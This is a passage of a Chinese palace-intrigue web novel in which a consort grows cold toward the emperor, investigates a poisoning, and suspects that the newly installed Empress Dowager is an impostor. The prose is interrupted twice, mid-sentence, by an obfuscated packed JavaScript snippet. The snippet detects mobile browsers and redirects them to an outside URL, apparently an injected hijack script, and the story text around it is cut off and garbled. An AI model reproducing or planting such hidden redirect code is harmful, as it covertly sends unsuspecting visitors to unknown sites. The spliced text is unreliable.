她穿着一身大红的骑装,长发利落地束成马尾,用一根同色的发带系着,发带尾端垂落,随着她的走动轻轻晃动。额头、鼻尖上都是亮晶晶的汗,两腮是粉粉的好气色,像是刚跑完一场马,整个人透着蓬勃的生气。 她看见他,脚步顿了一下。然后她笑了,眉眼弯弯的,屈膝行礼:“皇上回来了。” 沈昱的目光落在她身上,像是被什么钉住了。 那一身骑装,他见过无数次。婚后她也穿过,粉的、蓝的、紫的,各色各样,都是为了讨他欢心。但她穿那些衣裳时,总是端端正正地坐着,不敢动,怕乱了衣襟,怕失了仪态。 如今她穿着这身大红的骑装,满头满脸的汗,却像是整个人活了过来。衣摆随着她的走动微微扬起,仿佛还带着校场的风声。她站在那里,像一棵劲挺的小白杨,蓬勃、恣意、生机勃勃。 他又想起从前。 还没定亲的时候,他去秦家拜访,正赶上她在校场上和兄弟们比试。那时候她才十四岁,穿着这样一身大红的骑装,骑一匹枣红马,满场跑着。她赢了一场,跳下马,举着剑喊:“我赢了!我赢了!”嗓子都喊破了。 后来她嫁给他,那些骑装就收起来了。偶尔穿一次,也只是在殿内走动,从不曾再骑过马、射过箭、舞过刀。 他以为她长大了,懂事了。 此刻看着她满头的汗、亮晶晶的眼睛,他忽然觉得—— 她回来了。 “这身穿着好看。”他说。 秦宝宜低头看了看自己,又抬起头来,一双笑眼亮晶晶的,不复从前的羞涩:“这身穿着舒服,臣妾往后常穿。” 沈昱嘴角的笑意微微凝了一瞬。 ——不是为他。是为自己。 他很快将那一点异样压下去,走过去,握住她的手。她的手是热的,还带着校场跑动后的余温,指腹有薄薄的茧,是新磨出来的。 “走了一身汗,”他说,“先吃饭吧。” 晚膳摆上来,满桌都是鲜辣的菜色。剁椒鱼头、珊瑚辣露堆、胭脂鹅脯,红艳艳的一片,辣味冲鼻,是她最喜欢的口味。 沈昱看着那桌菜,想起从前。在东宫时,她的饮食总是迁就他的口味。他喜清淡,她便让厨房多做清淡的菜色;他不吃辣,她便也跟着不吃。偶尔嘴馋,也是悄悄让厨房做一小碟。 如今这满桌的鲜辣,没有一道是他爱吃的。 他在她身侧坐下,亲自替她布菜。夹了一块剁椒鱼头里最肥美的腮边肉,放进她碗里。 “这些日子,”他说,声音放得很软,“朕很想你。” 秦宝宜笑了一下:“皇上辛苦了。臣妾让人炖了汤,皇上尝尝?” 她说着,亲手盛了一碗汤,推到他面前。 汤是清炖的,漂着几片火腿、几朵香菇,清淡寡味。她把汤推过来,便收回手,继续吃自己碗里的鱼头。辣得嘴唇红艳艳的,嘶嘶地吸着气,却还是不停筷。 她听到了。她回应了。她甚至笑了。 但她没有接那句话。 沈昱握着汤匙的手,微微顿了一瞬。他看着那碗汤,看着汤面上漂着的油花,半晌,慢慢舀了一匙,送进嘴里。 穿堂风从半敞的窗棂灌进来,带着腊月的寒气。沈昱轻咳了一声。 秦宝宜头也没抬,自顾自地夹着菜。 孙荣站在一旁,眼观鼻鼻观心。听见那声咳嗽,他立刻上前,躬身道:“皇上,可要奴才把窗阖上?” 秦宝宜的声音响起来,不高不低: “刚从校场回来,热得很。窗户继续敞着。” 孙荣僵在那里,进也不是,退也不是。 沈昱盛汤的手,顿了一顿。 若在从前,她定会嘘寒问暖。亲自去阖窗,亲手替他添衣,忙前忙后,生怕他受了半点凉。 如今她只是坐在那里,稳稳当当地吃着饭。 他又咳了一声,比方才更响了些。 孙荣立刻接话:“皇上这几日在皇陵辛苦,有些伤风了。” 秦宝宜又夹了一块剁椒鱼头,稳稳当当吃完了。那鱼头辣得很,她吃得额角沁出细密的汗珠,嘴唇红艳艳的,嘶嘶地吸着气。 感受到他的目光,她才抬起眼,看了孙荣一眼,语气淡淡的:“晚点请太医去养心殿候着。” 然后她继续低下头,吃自己的饭。 沈昱看着她。 她坐在那里,眉眼还是那副眉眼,笑容还是那个笑容。她给他盛汤,她回应他的话,她和从前一样吃饭、一样说话。 她什么都在,但他什么都够不着。 “宝宜。”他伸出手,握住了她的手腕。 她的手顿了一下。筷子还夹着一块鹅脯,悬在半空。她抬起眼,看他。 “怎么了?”她问。 他握紧她的手腕,把她往自己身边带。她顺势起身,被他拉进怀里。他抱着她,下巴抵在她发顶,呼吸喷在她额头上。 “朕想你了。”他说,声音闷在她发间。 她任他抱着。甚至抬起手,轻轻拍了拍他的后背。一下,两下,三下。 “臣妾也想皇上了。”她说,语气淡淡的。 不是“我”,是“臣妾”。 不是“你”,是“皇上”。 她像例行公事般,回应一个不得不应付的人。 沈昱的手臂收紧了些。 从前不是这样的。从前饭后,她会和他谈些风花雪月的闲情,会问问他朝堂上的事,会说说自己的见地。他们有说不完的话。 如今他们不提先皇、不提孩子、不提登基大典上的意外,一切都像过去了。但他张了几次口,不知道还能说什么。 他松开她,低头看着她。她的脸近在咫尺,眉眼还是那副眉眼,杏核形,眼尾微微上挑。她的嘴唇微微抿着,像是在等他说什么。 “别气了好不好。”他说。 秦宝宜转过头来,目光里有恰到好处的疑惑,像是不明白他在说什么。 “皇上说什么呢?”她笑了一下,“好好的日子,臣妾生什么气?” 沈昱看着那笑容,心里某个角落忽然空了一下。 他握着她的手,握得更紧了些。 “咱们再生个孩子。”他说,声音放轻,“生个女儿。像你。” 秦宝宜垂下眼,望着被他握着的手。那手被他攥得紧紧的,指节微微泛白。她看了一会儿,抬起眼来。 “对了,”她说,“德妃的事,臣妾还未与皇上回禀。” 沈昱愣了一下。 她已经开始说了。德妃小产当日,三皇子中毒,查到最有嫌疑的苏贵人,苏贵人却自尽了。 一桩一桩,一件一件,说得清清楚楚,明明白白。 “女人争风吃醋罢了。”沈昱听完,淡淡说了一句。语气里没什么波澜,仿佛受罪的不是他的女人、他的孩子。 秦宝宜垂下眼,继续说下去: “是呢,臣妾也查了几日,怕有什么遗漏。但也没查出什么。想必是那苏氏一时糊涂做了蠢事,害怕东窗事发才自尽的。” 沈昱点点头,并不关心。只是伸手抚了抚她的长发。像在安抚一只温顺的猫。 “有你打理就好。”他说,“有你在,这些事从不用朕操心。” 秦宝宜没有接话。 她又开口,说起另一件事: “丽嫔顶撞臣妾,臣妾罚她闭宫自省一个月。” 她说着这话时,抬起眼看他。那目光里带着一丝恰到好处的试探,像是在等他的反应。 沈昱看着她那眼神,心里忽然有什么东西动了一下。 丽嫔,和她有几分像的那个。 秦宝宜罚她。是在吃醋吗? 他的嘴角浮起一丝若有若无的笑意。那笑意很浅,只来得及在嘴角一闪,便收了回去。但他的眼睛亮了一下,像一潭静水里投进一颗石子,荡起细细的涟漪。 “该罚。”他说。 他的手落在她腰间,轻轻一带,把她往自己怀里揽了揽。 “朕着宫人在温室殿引了温泉。”他的声音响在她耳侧,温和,带着邀请:“一起去?” 秦宝宜看了一眼刻漏。亥时三刻。 她笑了一下,眉眼弯弯的:“好呀。皇上稍等,臣妾去更衣。” 她起身,往内室走去。进了内室,在侧窗上轻轻敲了三下。 沈昱等了一会儿。殿内静悄悄的,只有烛火燃烧的噼啪声。 帘子掀开,却不是秦宝宜——是一个小宫女,垂着头,快步走到孙荣身边,附耳说了几句话。 孙荣的脸色变了变。他走过来,躬身道: “皇上,重华宫贤妃娘娘的宫女来报,说二皇子发热惊厥。” 沈昱的眉头都没蹙一下。 “让太医去看看。”他说。没有要去的意思。 他望着内室的方向,等秦宝宜出来。 帘子掀开,秦宝宜出来了。她换了一身家常的梅子色襦裙,长发散落下来,披了满肩。她走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256328|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他面前,正要开口说话,却看见孙荣还站在那里。 “怎么了?”她问。 孙荣垂着头,把话说了一遍。 秦宝宜听完,转过身来,看着沈昱。 她的手伸过来,握住他的。轻轻摇了摇。 “皇上,”她说,声音软软的,“臣妾求您件事儿。” 沈昱低头看她。 她仰着脸,笑盈盈的,眼睛亮亮的。那眼神他太熟悉了——从前她每次想要什么东西时,都是这样看着他。 “什么事?”他问,声音不自觉放松了几分。 “皇上去重华宫瞧瞧吧。”她说,声音里带着一丝恰到好处的央求,“本来言官就说臣妾恃宠生娇。前些日子三皇子刚中毒,如今二皇子又高热惊厥,要是臣妾再缠着皇上不闻不问,明日言官再参,臣妾真是无地自容了。” 沈昱很受用。 他伸手,点了点她的鼻尖。 “就你会偷懒。”语气里带着一丝无可奈何的宠溺。 秦宝宜笑了,眼睛弯成两道月牙。 沈昱站起身。孙荣立刻上前,替他披上大氅。 走到门口时,他回过头来。秦宝宜还站在原处,见他回头,又笑了一下,屈膝行礼。 “早些歇着。”他说。 “皇上慢走。”她说。 帘子落下来,隔绝了外间的光亮。 她站了一会儿,转过身,往里走。 “翠翠。”她说。 翠翠从角落里走出来,无声地跟在她身后。 秦宝宜披上斗篷,“随本宫去关雎宫。” 关雎宫里,灯火通明。 秦宝宜进去时,德妃正坐在床边,握着三皇子的手。那孩子睡着了,小小的脸埋在锦被里,脸色蜡黄,嘴唇毫无血色。他睡得很不安稳,时不时轻轻抽搐一下,嘴里发出含混的呻吟。 德妃的气色比小产那日好了不少。她穿着家常的素色衣裳,头发只随意挽着,不施粉黛,却比从前那些精心装扮的日子,更显得真实。 见秦宝宜进来,她站起身,屈膝行礼。 “贵妃娘娘。” 秦宝宜摆摆手,走到床边,低头看那孩子。 “皇上回宫了。”她说。 德妃倒茶的手,微微顿了一瞬。她垂下眼,继续倒茶,茶汤注入盏中,发出细细的水声。 秦宝宜在主位上坐下,接过那盏茶,没有喝。她看着德妃,继续说下去: “本宫与皇上说了你与三皇子的事,说了苏贵人畏罪自尽的事。皇上说——” 她顿了顿。 “可以封卷结案了。” 德妃的手一抖。茶盏里的水泼出来,洒在她手背上,烫出一片红痕。她像是没感觉到,只是抬起头,看着秦宝宜。 那目光里有很多东西——不可置信、自怜、不甘,还有一丝——怨愤。 “就这样算了?”她像是自言自语。 秦宝宜看着她。 “你想算了吗?” 德妃只是低下头,望着自己手背上那片烫出的红痕。那红痕慢慢扩散,像一朵盛开的花。她看了很久,久到秦宝宜以为她不会开口了。 然后她听见德妃的声音,低低的,闷闷的,从喉咙里挤出来: “嫔妾当初看着娘娘小产,看着娘娘处置窦氏。那时候嫔妾想,娘娘虽然跋扈,但也真是好命。生在秦家,嫁得良人,连杀人都有底气。” 她抬起头,看着秦宝宜。 那张清高的脸上,此刻满是泪痕。眼泪无声地流着,顺着脸颊滑落,滴在衣襟上,洇开一小片深色。 “嫔妾无能。”她说,声音嘶哑,“让人害到这个份上,却只能算了。” 秦宝宜沉默了一息。 “你知道不是苏贵人做的?” 德妃摇了摇头。她坐在那里,望着床上那个瘦小的孩子。那孩子又抽搐了一下,嘴里发出含混的呻吟。她伸手,轻轻握住他的手,贴在自己脸上。 秦宝宜看着她。 这个女人,她从前没怎么在意过。东宫的妃妾里,李氏是最清高的那个。她从不献媚邀宠,从不与人交好,从不参与任何争斗。她只是弹琴,带孩子,守着自己那一方小小的天地。 沈昱喜欢听琴,给了她宠爱和地位。她便以为,这样就能安安稳稳过一辈子。 此刻她坐在这里,满脸泪痕,握着儿子的手。 “嫔妾出身书香门第,”她的声音低低的,像在说给自己听,“入东宫这些年,不屑与丽嫔等人为伍,更不屑献媚邀宠。嫔妾以为,只要自己不争不抢,便不会有人来害自己。” 她顿了顿,嘴角浮起一丝苦笑。 “这些日子,嫔妾才发现,自己什么都做不了。嫔妾不争宠、不结党、不收买下人——所以现在,什么都做不了。” 殿内静下来。烛火跳动着,在墙上投下忽明忽暗的光影。窗外风声时远时近,偶尔传来枯枝断裂的脆响,啪的一声,又归于寂静。 良久,秦宝宜开口了。 “本宫命人仔仔细细查了苏贵人入东宫前的底细、近年的交往、银钱往来。” 德妃面如死灰,轻叹:“皇上下旨结案,想必是查不出什么……” “苏贵人的背后,是方氏。”秦宝宜打断她。 德妃愣住。 “方氏?”她重复了一遍,像是没听清,“哪个方氏?” 秦宝宜没有回答。 德妃的脸色,一点一点变了。 从迷茫,到震惊,到不可置信。 “皇上……生母?” 20. 太后 沈昱到贤妃的重华宫时,太医已经诊过脉走了。 廊下灯笼早早点起,暖黄的光透过窗棂漫出来,映在阶前。他穿过垂花门,绕过照壁,便看见贤妃站在正殿门口迎他。 她只穿了件家常的半旧褂子,头发随意挽着,不施粉黛,满脸素气。见他来,她屈膝行礼:“臣妾给皇上请安。夜深风寒,辛苦皇上亲自来看琪儿。” 沈昱摆摆手,径直往里走:“孩子怎么样?” 贤妃跟在后面,脚步匆匆:“服了药,已无大碍了。太医说是白日玩耍时出了一身汗,回来又吹了风,这才发热惊厥。幸亏没有大碍……” 她说着,拍了拍胸脯,一副后怕的样子:“真是吓坏臣妾了。琪儿从小到大,还没这样过。” 沈昱掀开床幔,低头看了一眼。 二皇子沈琪睡得很沉,小脸埋在锦被里,两颊还带着病中的潮红,呼吸却平稳均匀。他看了一会儿,伸手替那孩子掖了掖被角,便转身要走。 贤妃忙跟上几步,声音里带着恰到好处的挽留:“皇上这就走?贵妃娘娘赏了臣妾阳羡茶,是臣妾家乡的口味,正用红泥小炉煮着。皇上尝尝?暖暖胃再走。” 沈昱脚步顿了顿。 他回过头,看了贤妃一眼。她站在灯下,素着一张脸,倒比平时涂脂抹粉的样子让人舒服些。 “好。”他说。 茶室不大,却收拾得雅致。窗边设着一张矮几,几上摆着红泥小炉,炉上坐着把紫砂壶,壶嘴正冒着袅袅的白气。茶香混着炭火的暖意,丝丝缕缕地弥漫开来。 贤妃跪坐在几旁,亲手替他斟茶。动作轻柔,不疾不徐,茶汤注入盏中,发出细细的水声。 沈昱捻起点干茶,放在鼻端闻了闻。 “贵妃赏的?” 贤妃的手微微顿了一瞬,很快恢复如常。她将茶盏轻轻推到他面前,垂着眼道:“是。贵妃娘娘待臣妾等一如既往地和气细心。想着这阳羡茶是臣妾家乡口味,特地赏了臣妾。” “一如既往?”沈昱端起茶盏,目光落在茶汤上,那茶汤清澈透亮,映着烛火,像一汪融化的琥珀,“贵妃这几日都做了什么?” 贤妃何等聪明。 她在东宫这些年,那二人之间的情分,她比谁都看得清楚。自然不会自讨没趣挑拨,反而极力地说着好话。 “皇上不在宫里这几日,大大小小的事都要贵妃娘娘裁决。”她说着,语气里带着恰到好处的敬佩,“娘娘处置得井井有条,阖宫上下无不心服。” 她顿了顿,声音低下去些,添了一丝感同身受的黯然: “尤其前些日子,德妃小产那日……臣妾为人母的,看着都心疼。想必贵妃娘娘……”她抬起眼,飞快地看了沈昱一眼,又垂下去,“更是感同身受。” 沈昱握着茶盏的手,微微顿了一瞬。 秦宝宜小产那夜,他在养心殿,在等着先皇驾崩。那夜之后,她就变了。 他从不期待与她的孩子。秦家势大,若再有个嫡长子傍身,他这个皇帝,还怎么做? 他端起茶盏,抿了一口。茶汤温热,带着淡淡的苦涩。他慢慢咽下去,那苦涩却像化不开似的,梗在喉咙里。 转念又想起那块先皇留给她的令牌。他还没查到那令牌的作用,更不知道她会不会对先帝之死起疑心。 他希望她乖一些。对他多些理解与包容,像寻常妻子那般以夫为天。 他看着贤妃,目光幽深。 “贵妃那里,”他顿了顿,声音放得很轻,“你多去看看。有什么事,随时来回朕。” 贤妃一点即通。 她垂着眼,声音恭谨:“臣妾明白。贵妃娘娘身子才好些,臣妾理当多去陪她说说话。” 沈昱点点头,没有再说。 茶香袅袅,炭火温吞。贤妃见他出神,轻声唤道:“皇上?臣妾再为您添盏茶。” 她提起壶,替他续上。茶汤注入,热气升腾。她放下壶,却没有停,继续说下去: “皇上此番亲自去皇陵持斋,宫中上上下下都称赞呢。”她说着,语气里带着仰慕,“有皇上这样的明君,上行下效,何愁社稷不兴。” 沈昱端起茶盏,没有接话。 贤妃顿了顿,话锋一转: “只是臣妾私下有一言……若不说,怕贵妃娘娘、言官都想不到,有辱皇上仁孝的声名。” 沈昱抬起眼,看着她。 贤妃垂下眼,声音低低的:“先帝的嫔妃们,都还在京郊行宫。臣妾想着,皇上既已登基,她们若是还按先帝在时的位份在行宫安置,怕是不美。” 她顿了顿,抬起眼,飞快地看了沈昱一眼: “尤其是方太嫔……” “啪。” 沈昱将茶盏放在桌子上,清脆一响。 贤妃立刻起身跪下,伏在地上,声音发颤:“臣妾有罪,不该多嘴……” 殿内静下来。 炭火噼啪作响,窗外风声时远时近。贤妃跪在地上,身子微微发抖,不敢抬头。 良久,沈昱站起身。 他走到她面前,低头看着她。烛火从身后照过来,将他的脸笼罩在阴影里。他伸出手,将她扶起来。 “朕记得,”他说,声音听不出喜怒,“你父亲就在礼部当差?” 贤妃怔了一瞬,旋即点头:“是。家父在礼部任主事。” “礼部侍郎的位置有缺,”沈昱看着她,目光幽深,“便由他补上吧。先帝嫔妃安置的事,由他负责。” 贤妃的眼睛亮了一下。立刻跪下,重重叩首:“臣妾谢皇上隆恩!” 沈昱摆摆手,示意她起来。 贤妃站起身,放松了些。她看着沈昱,斟酌着开口:“臣妾明白您对先皇后的孝心。但生恩养恩一样重……” 她顿了顿,声音放得更轻,“不如,便奉先皇后为母后皇太后、方太嫔为圣母皇太后,方可两全。” 沈昱没有说话。 他站在那里,看着她。那目光很深,像要从她脸上看出什么来。贤妃被他看得心里发毛,却不敢动,只能硬着头皮站着。 良久,沈昱转身向外走。 走到门口时,他的声音传来,淡淡的: “你有心了。” 帘子落下,隔绝了他的身影。 贤妃站在原地,望着那道晃动的帘子,长长地舒了一口气。 次日一早,两道圣旨先后传出。 第一道,着礼部主事柳敬擢升礼部侍郎,即日赴任。 第二道,迎先帝嫔妃回宫,统一安置于寿安宫。封方氏为圣母皇太后,居慈宁宫。 消息传开,朝野震动。 那些关于“皇上忌惮功臣”的流言还没散尽,这一道旨意又将风向搅得更乱。 有人称赞皇上仁孝,不忘生母;有人嘀咕方氏出身寒微,如何当得起太后之位;有人冷眼旁观,等着看慈宁宫与正阳宫的对峙。 毕竟,谁都知道——秦宝宜与先皇后亲厚非常。 申时一过,太后的车驾便到了午门。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263031|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦宝宜领着后宫嫔妃,站在午门外候着。日头偏西,斜阳将人影拉得又长又细,投在汉白玉的地砖上,像一道道的墨痕。 车驾缓缓停下。 车门打开,两个宫女先下来,然后转身,伸手去搀里面的人。 秦宝宜看着那只手伸出来——枯瘦的,粗糙的,指甲剪得极短,指节微微凸起,像是常年劳作的农妇的手。 然后那个人,从车里探出身来。 她愣住了。 这位刚露面的太后方氏,衣着朴素得甚至可以说是寒酸。一身半旧的青灰色褙子,料子是寻常的棉布,洗得发白,边角磨得起了毛。头上只插着一根银簪,样式老旧,簪头的光泽都磨没了。 她走在街上,被人当作寻常农妇都不足为奇。 面庞也苍老。不是养尊处优的那种老,是被日子磋磨出来的那种老。皱纹像刀刻的一样,深深浅浅地爬满了脸。眼窝凹下去,颧骨凸出来,嘴唇薄薄的,抿成一条线。 选秀有严格的年龄限制,方氏当年入宫时,最长也不过二十岁。沈昱今年二十五,方氏不该老成这个样子的。 可她看上去,怎么也有五六十岁了。 秦宝宜看着那个人一步一步走近。她的腿脚不好,每走一步都得侍女搀着,身子微微佝偻,像背负着什么沉重的东西。 她走到秦宝宜面前,停下来。 然后她伸出手,过于亲厚地拉住了秦宝宜的手。 那手粗糙得像砂纸,硌着秦宝宜的掌心。凉的,干枯的,没有一丝温度。 “好孩子,”她说,声音苍老,带着一丝不易察觉的颤音,“你受委屈了。” 秦宝宜看着眼前这个过于和蔼慈祥的老妇人,看着那张被岁月磋磨得不成样子的脸,看着那双浑浊的、却透着某种难以言说的光亮的眼睛—— 她心里那些准备好的试探,忽然都说不出来了。 她无法将眼前这个人,与伤害德妃的幕后黑手联系起来。更无法将这个人,与沈昱血统存疑的秘密联系起来。 她太老了。太朴素了。太不像一个会在深宫里兴风作浪的人了。 秦宝宜屈膝行礼,声音平稳:“臣妾恭迎太后。” 她顿了顿,终究没有唤出母后那两个字。 太后似乎没有察觉。她只是拍了拍秦宝宜的手背,笑了一下。 那笑容里有一种奇怪的东西——不是慈祥,不是感激,不是讨好。像是,终于等到今日。 “诸位辛苦了,”太后松开手,环顾四周,声音苍老却和蔼,“不必再陪我老太婆,都散了吧。” 嫔妃们纷纷行礼告退。 秦宝宜落后几步,看着太后的背影。 她走得极慢,一步一步,像踩在刀尖上。她跛脚,只用右腿发力,倚着身边的宫女,身子微微倾斜,样子有些奇怪。 那跛脚,是从前就有的吗?可她分明记得,方氏似乎是出身于武将之家,身子好得很,也因如此,她才因为“好生养”被选入宫,解决先皇无子的燃眉之急。 秦宝宜看着那个蹒跚的背影,看着那一身洗得发白的旧衣裳,看着那根插在发间、光泽都磨没了的老银簪—— 她忽然觉得,这个人,比德妃那件事、比血统的秘密,更深。 德妃站在她身后半步,薄唇抿成一条线,声音里带着冷意:“就是她吗...与我想的,不一样。” 秦宝宜没有回头,只略侧了侧身,声音压得极低—— 对翠翠道:“去查,她是谁。” 21. 作妖 德妃到正阳宫时,秦宝宜正在院子里扶着青黛的手,一瘸一拐地走路。 她跛着左脚,只用右腿发力,身子微微倾斜。每走一步,眉头便轻轻蹙一下——不是疼,是在感受别的什么。 日光从檐角斜斜照下来,将她投在地上的影子拉得又细又长,那影子也跟着一跛一跛的。 “青黛,来扶着我。”她说。 青黛理所应当地扶住她的右手。手臂被托住的那一瞬,秦宝宜的脚步顿了一下。她低头看了一眼青黛扶她的位置,又抬眼望向前方虚空某处,面上的笑意便淡了。 昨天太后跛的也是左脚。但那个宫女,是扶着她左手的。 “给贵妃娘娘请安。”德妃的声音从院门口传来。 秦宝宜抬起头,看见德妃站在垂花门下。她穿着藕荷色的家常褂子,头发只随意挽着,脸上脂粉未施。眼里,从前那种清高冷淡的疏离感不见了。 “进来。”秦宝宜招手,“你来试试。” 德妃走近,目光落在秦宝宜的脚上,微微一怔:“这是在做什么?” 秦宝宜没有解释。她示意青黛:“你扶住德妃娘娘左手。” 德妃依言跛起左脚。青黛扶住她左手的那一瞬,她的身子猛地一晃,整个人眼看着就要往右侧倾倒,踉跄了两步才稳住身形。 “这……”德妃站稳了,低头看着自己那只跛着的左脚,又看了看青黛扶着她的手,脸色一点一点变了。 她抬起头,看着秦宝宜。四目相对的那一瞬,她眼底的雾气散了,有什么东西亮了一下——是惊觉,是恍然,是一闪而过的寒意。 她张了张嘴,无声地摆了个口型: 假瘸? 秦宝宜微微颔首。她转身往书房走,德妃跟在后面,脚步比来时快了几分。 书房的门在身后阖上,隔绝了外间的光亮。秦宝宜在主位坐下,指了指对面的椅子:“坐。” 德妃没有坐。她站在那里,望着秦宝宜,眉头紧锁:“昨日看着她的姿态便觉得不对,今日一试方知……可好生奇怪,她为何要装作跛脚呢?” 秦宝宜没有立刻回答。她端起茶盏,抿了一口,那茶已经凉了,入口微涩。她慢慢咽下去,抬起眼,看着德妃。 “方氏从前是将门之女。”她说,声音不高不低,“有些身手。” 德妃愣了一下。旋即,她的瞳孔微微收缩——她听懂了。 “此时这样格外地衰老、残疾,人变得面目全非……”德妃接过话头,一字一顿,说得极慢,像每说一个字都要在脑子里转三圈,“只有一个可能。” 她顿了顿,抬起眼,与秦宝宜对视—— “让人认不出她。” 话音落下的那一瞬,殿内静得能听见窗外风吹过枯枝的声音。那声音细细的,尖尖的,像有什么东西在远处呜咽。 德妃的脸色白了。手扶住椅背,指节微微泛白。 “这……”她的声音发颤,“这太荒谬了。她是谁?为何要假扮太后呢?” 帘子掀开,翠翠走了进来。 她手里拿着几张纸,走到秦宝宜面前,双手呈上。秦宝宜接过,目光从那些纸上扫过,然后递给德妃。 “这是奴婢查到的。”翠翠的声音凉丝丝的,不高不低,像在说一件寻常事,“害娘娘和三殿下的苏贵人是由方氏兄长选送入宫的。只是这苏贵人一直谨小慎微、不得宠、不打眼,所以没人留意。这是苏贵人入东宫时,礼部的留档。” 德妃接过那几张纸,低头看着。她的目光一行一行地扫过去,手指轻轻颤着,纸边被她捏得微微发皱。 “这几年,”翠翠继续说下去,“苏贵人每逢节庆便到皇室女眷常去的清净庵奉香,由一位主持专门接待。” 她顿了顿。 “这位名为慧检的师太,每逢初一十五,便到行宫为诸位太嫔讲经。想必这位慧检师太,就是方氏的喉舌。” 德妃抬起头。她的脸色比方才更白了,但那双眼睛却亮得吓人——不是泪光,是火。是压在心底的那团火,终于被风吹得旺了起来。 “先留着慧检。”秦宝宜说,“别打草惊蛇。” 德妃沉默了一息。她垂下眼,望着手里那几张纸,望着上面那些密密麻麻的字迹。然后她抬起头,看着秦宝宜。 那目光里有很多东西——感激,敬重,还有一丝连她自己都没意识到的依赖。 “若非娘娘,”她说,声音低低的,“这些东西,嫔妾不知要查多久...怕是还查不出来。” 她顿了顿。 “只是……”她看着秦宝宜,目光里带着一丝困惑,“永靖候府有这样深的人脉,娘娘从前为何不用呢?” 秦宝宜垂下眼,望着自己手中的茶盏。茶汤已经凉透了,映不出任何东西。 “吃一堑长一智。”她说。 德妃没有再问。也端起茶盏,喝了一口。不知冷热,只是苦味提神,她慢慢咽下去。 “她若是真的方氏,”她放下茶盏,抬起眼,“为何要害皇上的子嗣?” 秦宝宜没有说话。 德妃继续说下去,声音越来越低,像是在说给自己听:“可她若不是方氏……又会是谁?” 殿内静下来。窗外有风,吹得窗纸轻轻作响,一下一下,像有人在远处敲着更鼓。 德妃的手攥紧了茶盏。那盏被她攥得微微发颤,茶汤在里面晃动,荡出一圈一圈的涟漪。她的指甲掐进掌心,掐得泛了青紫。 “不管她是谁,”她说,一字一顿,“既是她害了我们母子,便不能不明不白算了。” 秦宝宜看着她。 这个从前总是云淡风轻的人,经此一遭,倒是转了性子。 “稍安勿躁。”秦宝宜说,声音不高不低,“她现在是太后。名分上,谁也动不了她。” 德妃的肩膀垮了一瞬。她垂下眼,望着自己那只掐得泛青的手,望着那些深深的指甲印。 “嫔妾现在吃不好睡不好。夜里总要醒上几回,探探璋儿的鼻息,确认他还活着。” 她抬起眼,看着秦宝宜。那双眼睛里终于有了泪光,薄薄的一层,在眼眶里打着转。 “真不知这样的日子,什么时候才是个头。” 帘子掀开,青黛走了进来。 她走到秦宝宜身边,低声道:“娘娘,宫中没留下任何方氏从前的画像。从前服侍过她的人,也都找不到了。” 秦宝宜的手指轻轻蜷了一下。 她望着窗外那片灰蒙蒙的天光,望着那一片被云层遮住的日头。良久,她开口了。 “先帝只有过一次选秀。”她说,声音不高不低,像在说一件很久远的事,“是因为皇后无子,迫于朝臣压力,才选了方氏等人入宫。” 她顿了顿。 “这些妃嫔生下皇子、皇女后,便被送往行宫。前前后后,在宫里待了不过两三年。” 德妃听着,眉头微微蹙起。 “除了皇上,”翠翠接话,“方氏还生下一女,阳安公主。只是阳安公主十年前就被先帝远嫁给宁远伯,并不在京中。” 德妃沉默了一息。然后她开口,声音里带着一丝不确定: “可皇上是方氏的亲儿子。总不会……认不出亲娘。” 秦宝宜的目光在她脸上停了一息。 那一瞬间,她意识到——德妃与她的出发点不同。德妃现在,还是对沈昱抱有期待的。她以为沈昱不知道,她以为沈昱也是受害者,她以为只要查清了真相,沈昱就会为她做主。 秦宝宜没有点破。 “妹妹说得对。”她说,神色如常。 她站起身,走到窗边,推开窗扇。夜风灌进来,带着腊月的寒气,扑在她脸上。她望着窗外那片渐渐暗下来的天色,望着天边那一抹残红,声音从唇齿间溢出来,淡淡的: “今夜接风宴。希望皇上……能为妹妹出气。” --- 家宴设在慈宁宫正殿。 秦宝宜到的时候,殿内已经坐满了人。嫔妃们按照位份依次落座,一个个打扮得花枝招展,珠翠满头。烛火通明,映得满殿流光溢彩,脂粉香气混着酒香,丝丝缕缕地弥漫开来。 主位上,太后方氏端坐着。 她还是白日里那身打扮,半旧的青灰色褙子,洗得发白的料子,头上只插着那根老银簪。在一屋子珠光宝气里,她朴素得刺眼。 但她的眼睛是亮的。 那双眼在烛火下闪着光,从左扫到右,从右扫到左,把每一个在座的人都看了一遍。那目光不重,却让人觉得像被什么东西贴着皮肤滑过,凉飕飕的,不舒服。 秦宝宜在主位下首的位置坐下。她今日穿了一身宝蓝镶红的大妆,金线织就的翟纹在烛火下明明灭灭,九翟四凤的钗环压在发顶,整个人气势比太后还要强几分。 她刚落座,便听见一声尖细的通禀—— “皇上驾到——” 众人纷纷起身行礼。 沈昱从殿门走进来。玄色衮服,玉冠束发,烛火从身后照过来,将他整个人笼罩在一层浅淡的光晕里。他的目光从众人脸上扫过,最后落在秦宝宜身上,停了一息。 然后他收回目光,走到主位前,先对着先皇后的牌位跪了下去。 满殿的人都跟着跪下。 沈昱跪在那里,额头触地,声音不高不低,却清清楚楚地传进每一个人耳中: “儿臣敬拜母后。感念母后养育之恩,没齿难忘。” 他磕了三个头。一下,两下,三下。额头触地,发出沉闷的声响。那声音在寂静的殿内回荡,一下一下,撞在人心上。 然后他站起身,转向方氏。 